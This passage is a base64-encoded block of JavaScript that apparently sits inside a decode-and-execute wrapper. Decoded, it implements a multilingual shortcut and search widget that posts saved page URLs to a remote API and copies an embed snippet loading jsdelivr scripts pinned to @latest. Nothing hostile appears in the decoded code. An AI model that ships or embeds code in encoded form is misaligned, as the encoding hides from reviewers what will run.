ZXN1bHRzKHJlc3VsdHMpOw0KICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCiAgICAgICAgICAgICAgICBjb25zb2xlLmVycm9yKCfslbEg66qp66GdIOuhnOuTnCDsi6TtjKg6JywgZXJyb3IpOw0KICAgICAgICAgICAgICAgIHNlYXJjaFJlc3VsdHNDb250YWluZXIuaW5uZXJIVE1MID0gJzxwPuuqqeuhnSDroZzrk5wg7Iuk7YyoPC9wPic7DQogICAgICAgICAgICB9DQogICAgICAgIH07DQogICAgICAgIA0KICAgICAgICBjb25zdCBvcGVuU2VhcmNoID0gKCkgPT4geyB3aWRnZXRDb250YWluZXIuY2xhc3NMaXN0LmFkZCgnc2VhcmNoLW1vZGUnKTsgd2lkZ2V0V3JhcHBlci5jbGFzc0xpc3QuYWRkKCdzZWFyY2gtbW9kZScpOyBzZWFyY2hJbnB1dC5mb2N1cygpOyBwZXJmb3JtU2VhcmNoKCl9Ow0KICAgICAgICANCmNvbnN0IGluaXRpYWxSZW5kZXIgPSAoKSA9PiB7DQogICAgICAgICAgICBjb25zdCBhID0gdHJhbnNsYXRpb25zW2N1cnJlbnRMYW5nXSB8fCB0cmFuc2xhdGlvbnNbJ2VuJ107DQogICAgICAgICAgICBjb25zdCBiID0gWw0KICAgICAgICAgICAgICAgIHsgbmFtZTogYS5zZWFyY2gsIHVybDogJ2h0dHBzOi8vaXNhaS5rcicsIGljb246ICdwaC1zcGFya2xlJyB9LA0KICAgICAgICAgICAgICAgIHsgbmFtZTogYS5xdWVzdGlvbiwgdXJsOiAnaHR0cHM6Ly9pc2FpLmtyLyNjaGF0JywgaWNvbjogJ3BoLXF1ZXN0aW9uLW1hcmsnIH0sDQogICAgICAgICAgICAgICAgeyBuYW1lOiBhLmNoYXJhY3RlckNoYXQsIHVybDogJ2h0dHBzOi8vbGFpLm9kdWMua3IvJywgaW1nOiAnaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QDIuNy42L2xhaTQ4LnBuZycgfSwNCiAgICAgICAgICAgICAgICB7IG5hbWU6ICdJbWFnZScsIHVybDogJ2h0dHBzOi8vMDk5LmtyLycsIGltZzogJ2h0dHA6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC85OS5wbmcnIH0sDQogICAgICAgICAgICAgICAgeyBuYW1lOiBhLmJsb2csIHVybDogJ2h0dHBzOi8vYmxvZy4wOTkua3InLCBpY29uOiAncGgtYXJ0aWNsZS1tZWRpdW0nIH0sDQogICAgICAgICAgICAgICAgeyBuYW1lOiAnQXJjaGl2ZSBBSScsIHVybDogJ2h0dHBzOi8vYXJjaGkudmVhaS53b3JrZXJzLmRldi8nLCBpY29uOiAncGgtYXJjaGl2ZScgfSwNCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgIGxpc3RDb250YWluZXIuaW5uZXJIVE1MID0gJzxidXR0b24gY2xhc3M9ImZobC1pY29uLWNpcmNsZSIgc3R5bGU9Im1hcmdpbjogMCA4cHggMCAwO2JvcmRlcjowIiBpZD0iZmhsLWVkaXQtbW9kZS1idG4iPjxpIGNsYXNzPSJwaC1ib2xkIHBoLXBlbmNpbC1zaW1wbGUiPjwvaT48L2J1dHRvbj4nOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBjb25zdCBlZGl0TW9kZUJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtZWRpdC1tb2RlLWJ0bicpOw0KICAgICAgICAgICAgaWYgKGVkaXRNb2RlQnRuKSB7DQogICAgICAgICAgICAgICAgaWYgKGxpc3RDb250YWluZXIuY2xhc3NMaXN0LmNvbnRhaW5zKCdlZGl0LW1vZGUnKSkgew0KICAgICAgICAgICAgICAgICAgICBlZGl0TW9kZUJ0bi5jbGFzc0xpc3QuYWRkKCdhY3RpdmUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWRpdE1vZGVCdG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoKSA9PiB7DQogICAgICAgICAgICAgICAgICAgIGxpc3RDb250YWluZXIuY2xhc3NMaXN0LnRvZ2dsZSgnZWRpdC1tb2RlJyk7DQogICAgICAgICAgICAgICAgICAgIGVkaXRNb2RlQnRuLmNsYXNzTGlzdC50b2dnbGUoJ2FjdGl2ZScpOyANCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgY29uc3QgYyA9IHNob3J0Y3V0TWFuYWdlci5nZXQoKTsNCiAgICAgICAgICAgIGxldCBkID0gWy4uLmJdOw0KICAgICAgICAgICAgZC5zcGxpY2UoMiwgMCwgLi4uYyk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGNvbnN0IGZyYWdtZW50ID0gZG9jdW1lbnQuY3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpOw0KICAgICAgICAgICAgZC5mb3JFYWNoKGUgPT4gew0KICAgICAgICAgICAgICAgIGNvbnN0IGYgPSBjLnNvbWUoZyA9PiBnLnVybCA9PT0gZS51cmwpOw0KICAgICAgICAgICAgICAgIGNvbnN0IGggPSBmICYmICFlLmljb24gJiYgIWUuaW1nID8gJ2xvY2FsJyA6ICdkZWZhdWx0JzsNCiAgICAgICAgICAgICAgICBmcmFnbWVudC5hcHBlbmRDaGlsZChjcmVhdGVJY29uSXRlbShlLCBoKSk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIGxpc3RDb250YWluZXIuYXBwZW5kQ2hpbGQoZnJhZ21lbnQpOw0KDQogICAgICAgICAgICBjaGVja1Njcm9sbGFiaWxpdHkoKTsNCiAgICAgICAgICAgIHVwZGF0ZUFsbFdpZGdldExpbmtzKCk7DQogICAgICAgIH07DQogICAgICAgIA0KICAgICAgICBjb25zdCB1cGRhdGVTY3JvbGxJbmRpY2F0b3IgPSAoKSA9PiB7IGNvbnN0IHNjcm9sbExlZnQgPSBsaXN0Q29udGFpbmVyLnNjcm9sbExlZnQ7IGNvbnN0IG1heFNjcm9sbExlZnQgPSBsaXN0Q29udGFpbmVyLnNjcm9sbFdpZHRoIC0gbGlzdENvbnRhaW5lci5jbGllbnRXaWR0aDsgaWYgKG1heFNjcm9sbExlZnQgPD0gMCkgcmV0dXJuOyBjb25zdCBzY3JvbGxGcmFjdGlvbiA9IHNjcm9sbExlZnQgLyBtYXhTY3JvbGxMZWZ0OyBjb25zdCB0cmFja1dpZHRoID0gaW5kaWNhdG9yVHJhY2suY2xpZW50V2lkdGg7IGNvbnN0IGluZGljYXRvcldpZHRoID0gc2Nyb2xsSW5kaWNhdG9yLmNsaWVudFdpZHRoOyBjb25zdCBtYXhJbmRpY2F0b3JMZWZ0ID0gdHJhY2tXaWR0aCAtIGluZGljYXRvcldpZHRoOyBjb25zdCBpbmRpY2F0b3JMZWZ0ID0gc2Nyb2xsRnJhY3Rpb24gKiBtYXhJbmRpY2F0b3JMZWZ0OyBzY3JvbGxJbmRpY2F0b3Iuc3R5bGUudHJhbnNmb3JtID0gYHRyYW5zbGF0ZVkoLTUwJSkgdHJhbnNsYXRlWCgke2luZGljYXRvckxlZnR9cHgpYH07DQogICAgICAgIGNvbnN0IGNoZWNrU2Nyb2xsYWJpbGl0eSA9ICgpID0+IHsgY29uc3QgaXNTY3JvbGxhYmxlID0gbGlzdENvbnRhaW5lci5zY3JvbGxXaWR0aCA+IGxpc3RDb250YWluZXIuY2xpZW50V2lkdGg7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QudG9nZ2xlKCdzY3JvbGxhYmxlJywgaXNTY3JvbGxhYmxlKTsgaWYgKGlzU2Nyb2xsYWJsZSkgdXBkYXRlU2Nyb2xsSW5kaWNhdG9yKCl9Ow0KICAgICAgICBsZXQgaXNEcmFnZ2luZyA9IGZhbHNlOw0KICAgICAgICBjb25zdCBoYW5kbGVEcmFnTW92ZSA9IChlKSA9PiB7IGlmICghaXNEcmFnZ2luZykgcmV0dXJuOyBlLnByZXZlbnREZWZhdWx0KCk7IGNvbnN0IHRyYWNrUmVjdCA9IGluZGljYXRvclRyYWNrLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpOyBjb25zdCBtYXhTY3JvbGxMZWZ0ID0gbGlzdENvbnRhaW5lci5zY3JvbGxXaWR0aCAtIGxpc3RDb250YWluZXIuY2xpZW50V2lkdGg7IGxldCBwb3NpdGlvblJhdGlvID0gKGUuY2xpZW50WCAtIHRyYWNrUmVjdC5sZWZ0KSAvIHRyYWNrUmVjdC53aWR0aDsgcG9zaXRpb25SYXRpbyA9IE1hdGgubWF4KDAsIE1hdGgubWluKDEsIHBvc2l0aW9uUmF0aW8pKTsgbGlzdENvbnRhaW5lci5zY3JvbGxMZWZ0ID0gcG9zaXRpb25SYXRpbyAqIG1heFNjcm9sbExlZnR9Ow0KICAgICAgICBjb25zdCBoYW5kbGVEcmFnRW5kID0gKCkgPT4geyBpZiAoIWlzRHJhZ2dpbmcpIHJldHVybjsgaXNEcmFnZ2luZyA9IGZhbHNlOyBkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKCdtb3VzZW1vdmUnLCBoYW5kbGVEcmFnTW92ZSk7IGRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoJ21vdXNldXAnLCBoYW5kbGVEcmFnRW5kKX07DQogICAgICAgIGluZGljYXRvclRyYWNrLmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlZG93bicsIChlKSA9PiB7IGlzRHJhZ2dpbmcgPSB0cnVlOyBoYW5kbGVEcmFnTW92ZShlKTsgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignbW91c2Vtb3ZlJywgaGFuZGxlRHJhZ01vdmUpOyBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdtb3VzZXVwJywgaGFuZGxlRHJhZ0VuZCl9KTsNCiAgICAgICAgY29uc3QgY2xvc2VTZWFyY2ggPSAoKSA9PiB7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QucmVtb3ZlKCdzZWFyY2gtbW9kZScpOyB3aWRnZXRXcmFwcGVyLmNsYXNzTGlzdC5yZW1vdmUoJ3NlYXJjaC1tb2RlJyk7IHNlYXJjaElucHV0LnZhbHVlID0gJyc7IHNlYXJjaFJlc3VsdHNDb250YWluZXIuaW5uZXJIVE1MID0gJyd9Ow0KICAgICAgICBsZXQgaGlkZVRpbWVvdXQgPSBudWxsOw0KICAgICAgICB3aWRnZXRDb250YWluZXIuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VlbnRlcicsICgpID0+IHsgY2xlYXJUaW1lb3V0KGhpZGVUaW1lb3V0KX0pOw0KICAgICAgICB3aWRnZXRDb250YWluZXIuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VsZWF2ZScsICgpID0+IHsgaGlkZVRpbWVvdXQgPSBzZXRUaW1lb3V0KCgpID0+IHsgd2lkZ2V0Q29udGFpbmVyLmNsYXNzTGlzdC5hZGQoJ2hpZGRlbicpfSwgNjAwMCl9KTsNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoZSkgPT4geyBpZiAoIWxhbmd1YWdlUGFuZWwuY29udGFpbnMoZS50YXJnZXQpICYmICFsYW5ndWFnZUJ0bi5jb250YWlucyhlLnRhcmdldCkpIHsgbGFuZ3VhZ2VQYW5lbC5jbGFzc0xpc3QucmVtb3ZlKCd2aXNpYmxlJyl9IGlmICh3aWRnZXRDb250YWluZXIuY29udGFpbnMoZS50YXJnZXQpKSB7IHJldHVybn0gaWYgKHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QuY29udGFpbnMoJ2hpZGRlbicpKSB7IHNldFRpbWVvdXQoKCkgPT4geyB3aWRnZXRDb250YWluZXIuY2xhc3NMaXN0LnJlbW92ZSgnaGlkZGVuJyk7IGNsZWFyVGltZW91dChoaWRlVGltZW91dCk7IGhpZGVUaW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QuYWRkKCdoaWRkZW4nKX0sIDYwMDApfSwgNTApfSB9KTsNCiAgICAgICAgbGlzdENvbnRhaW5lci5hZGRFdmVudExpc3RlbmVyKCdzY3JvbGwnLCB1cGRhdGVTY3JvbGxJbmRpY2F0b3IpOw0KICAgICAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigncmVzaXplJywgY2hlY2tTY3JvbGxhYmlsaXR5KTsNCiAgICAgICAgc2VhcmNoVHJpZ2dlci5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIG9wZW5TZWFyY2gpOw0KICAgICAgICBsYW5ndWFnZUJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChlKSA9PiB7IGUuc3RvcFByb3BhZ2F0aW9uKCk7IGxhbmd1YWdlUGFuZWwuY2xhc3NMaXN0LnRvZ2dsZSgndmlzaWJsZScpfSk7DQoNCiAgICAgICAgDQogICAgICAgIHNlYXJjaElucHV0LmFkZEV2ZW50TGlzdGVuZXIoJ2lucHV0JywgZnVuY3Rpb24oKSB7DQogICAgICAgICAgICBjbGVhclRpbWVvdXQoc2VhcmNoVGltZW91dCk7DQogICAgICAgICAgICBjb25zdCBxdWVyeSA9IHRoaXMudmFsdWUudG9Mb3dlckNhc2UoKS50cmltKCk7DQogICAgICAgICAgICBzZWFyY2hUaW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7DQogICAgICAgICAgICAgICAgcGVyZm9ybVNlYXJjaChxdWVyeSk7DQogICAgICAgICAgICB9LCAzMDApOw0KICAgICAgICB9KTsNCiAgICAgICAgDQogICAgICAgIHNlYXJjaFJlc3VsdHNDb250YWluZXIuYWRkRXZlbnRMaXN0ZW5lcignc2Nyb2xsJywgKCkgPT4geyBjb25zdCBpc0F0Qm90dG9tID0gc2VhcmNoUmVzdWx0c0NvbnRhaW5lci5zY3JvbGxUb3AgKyBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLmNsaWVudEhlaWdodCA+PSBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLnNjcm9sbEhlaWdodCAtIDEwOyBpZiAoaXNBdEJvdHRvbSkgeyBhcHBlbmROZXh0UGFnZSgpfSB9KTsNCiAgICAgICAgc2VhcmNoQ2xvc2UuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBjbG9zZVNlYXJjaCk7DQogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCAoZSkgPT4geyBpZiAoZS5rZXkgPT09ICdFc2NhcGUnICYmIHdpZGdldFdyYXBwZXIuY2xhc3NMaXN0LmNvbnRhaW5zKCdzZWFyY2gtbW9kZScpKSB7IGNsb3NlU2VhcmNoKCl9IH0pOw0KICAgICAgICANCiAgICAgICAgY29uc3QgYWRkQ3VycmVudFBhZ2VUb1dpZGdldCA9IGFzeW5jIChlKSA9PiB7DQogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICBjb25zdCB0ID0gdHJhbnNsYXRpb25zW2N1cnJlbnRMYW5nXSB8fCB0cmFuc2xhdGlvbnNbJ2VuJ107DQogICAgICAgICAgICBjb25zdCBiYXNlVXJsID0gZ2V0UHJvY2Vzc2VkVXJsKHdpbmRvdy5sb2NhdGlvbi5ocmVmKTsNCiAgICAgICAgICAgIGxldCBpY29uTmFtZSA9IGRvY3VtZW50LnRpdGxlIHx8IHQuY3VycmVudFBhZ2U7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgZmV0Y2goYCR7QVBJX0JBU0VfVVJMfS9nZXRfdGl0bGUucGhwP3VybD0ke2VuY29kZVVSSUNvbXBvbmVudChiYXNlVXJsKX1gKTsNCiAgICAgICAgICAgICAgICBpZiAocmVzcG9uc2Uub2spIHsgY29uc3QgZGF0YSA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsgaWYgKGRhdGEudGl0bGUpIHsgaWNvbk5hbWUgPSBkYXRhLnRpdGxlfSB9DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgeyBjb25zb2xlLmVycm9yKCdGYWlsZWQgdG8gZmV0Y2ggdGl0bGU6JywgZXJyb3IpfQ0KICAgICAgICAgICAgY29uc3QgbmV3SWNvbiA9IHsgbmFtZTogaWNvbk5hbWUsIHVybDogYmFzZVVybCB9Ow0KICAgICAgICAgICAgbGV0IHN0b3JlZEl0ZW1zID0gc2hvcnRjdXRNYW5hZ2VyLmdldCgpOw0KICAgICAgICAgICAgY29uc3QgaXNBbHJlYWR5QWRkZWQgPSBzdG9yZWRJdGVtcy5zb21lKGl0ZW0gPT4gZ2V0UHJvY2Vzc2VkVXJsKGl0ZW0udXJsKSA9PT0gZ2V0UHJvY2Vzc2VkVXJsKG5ld0ljb24udXJsKSk7DQogICAgICAgICAgICBpZiAoIWlzQWxyZWFkeUFkZGVkKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0b3JlZEl0ZW1zLmxlbmd0aCA+PSAxMCkgeyBzdG9yZWRJdGVtcy5zaGlmdCgpfQ0KICAgICAgICAgICAgICAgIHN0b3JlZEl0ZW1zLnB1c2gobmV3SWNvbik7DQogICAgICAgICAgICAgICAgc2hvcnRjdXRNYW5hZ2VyLnNldChzdG9yZWRJdGVtcyk7DQogICAgICAgICAgICAgICAgdHJ5IHsgYXdhaXQgZmV0Y2goYCR7QVBJX0JBU0VfVVJMfS9yZWdpc3Rlcl9hcHAucGhwYCwgeyBtZXRob2Q6ICdQT1NUJywgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sIGJvZHk6IEpTT04uc3RyaW5naWZ5KG5ld0ljb24pIH0pfSBjYXRjaCAoZXJyb3IpIHsgY29uc29sZS5lcnJvcignREIg65Ox66GdL+qwseyLoCDsi6TtjKg6JywgZXJyb3IpfQ0KICAgICAgICAgICAgICAgIGluaXRpYWxSZW5kZXIoKTsNCiAgICAgICAgICAgICAgICBpZiAod2lkZ2V0V3JhcHBlci5jbGFzc0xpc3QuY29udGFpbnMoJ3NlYXJjaC1tb2RlJykpIHsgY2xvc2VTZWFyY2goKX0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgc2hvd1RvYXN0KHQuYWxyZWFkeUFkZGVkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfTsNCg0KICAgICAgICBjb25zdCBjb3B5V2lkZ2V0U2NyaXB0ID0gKGUpID0+IHsNCiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIGNvbnN0IHRleHRUb0NvcHkgPSAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vdW5wa2cuY29tL0BwaG9zcGhvci1pY29ucy93ZWIiPjxcL3NjcmlwdD48c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC93c19sZy5qcyI+PFwvc2NyaXB0PjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC93c19jc3MuY3NzIj48ZGl2IGlkPSJhcHAiPjxcL2Rpdj48c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC93c19jZG5odG1sLmpzIj48XC9zY3JpcHQ+IDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAbGF0ZXN0L3dzX2Nkbi5qcyI+PFwvc2NyaXB0Pic7DQogICAgICAgICAgICBjb25zdCB0ID0gdHJhbnNsYXRpb25zW2N1cnJlbnRMYW5nXSB8fCB0cmFuc2xhdGlvbnNbJ2VuJ107DQogICAgICAgICAgICBjb25zdCBmYWxsYmFja0NvcHkgPSAoKSA9PiB7IGNvbnN0IHRleHRBcmVhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGV4dGFyZWEiKTsgdGV4dEFyZWEudmFsdWUgPSB0ZXh0VG9Db3B5OyB0ZXh0QXJlYS5zdHlsZS5wb3NpdGlvbiA9ICJmaXhlZCI7IHRleHRBcmVhLnN0eWxlLnRvcCA9IDA7IHRleHRBcmVhLnN0eWxlLmxlZnQgPSAiLTk5OTlweCI7IGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQodGV4dEFyZWEpOyB0ZXh0QXJlYS5mb2N1cygpOyB0ZXh0QXJlYS5zZWxlY3QoKTsgdHJ5IHsgZG9jdW1lbnQuZXhlY0NvbW1hbmQoJ2NvcHknKTsgc2hvd1RvYXN0KHQuY29kZUNvcGllZCl9IGNhdGNoIChlcnIpIHsgY29uc29sZS5lcnJvcignRmFsbGJhY2s6IE9vcHMsIHVuYWJsZSB0byBjb3B5JywgZXJyKX0gZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZCh0ZXh0QXJlYSl9Ow0KICAgICAgICAgICAgaWYgKG5hdmlnYXRvci5jbGlwYm9hcmQgJiYgd2luZG93LmlzU2VjdXJlQ29udGV4dCkgeyBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCh0ZXh0VG9Db3B5KS50aGVuKCgpID0+IHsgc2hvd1RvYXN0KHQuY29kZUNvcGllZCl9KS5jYXRjaCgoKSA9PiB7IGZhbGxiYWNrQ29weSgpfSl9IGVsc2UgeyBmYWxsYmFja0NvcHkoKX0NCiAgICAgICAgfTsNCg0KICAgICAgICBhZGRUb0hvbWVCdG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBhZGRDdXJyZW50UGFnZVRvV2lkZ2V0KTsNCiAgICAgICAgc2VhcmNoQWRkQnRuLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY29weVdpZGdldFNjcmlwdCk7DQogICAgICAgIA0KICAgICAgICBzaG9ydGN1dE1hbmFnZXIuc3luY0Zyb21VUkwoKTsNCiAgICAgICAgc2hvcnRjdXRNYW5hZ2VyLmdldCgpOw0KICAgICAgICANCiAgICAgICAgcG9wdWxhdGVMYW5ndWFnZVBhbmVsKCk7DQogICAgICAgIGFwcGx5TGFuZ3VhZ2UoY3VycmVudExhbmcpOw0KICAgIH0pOw=='))));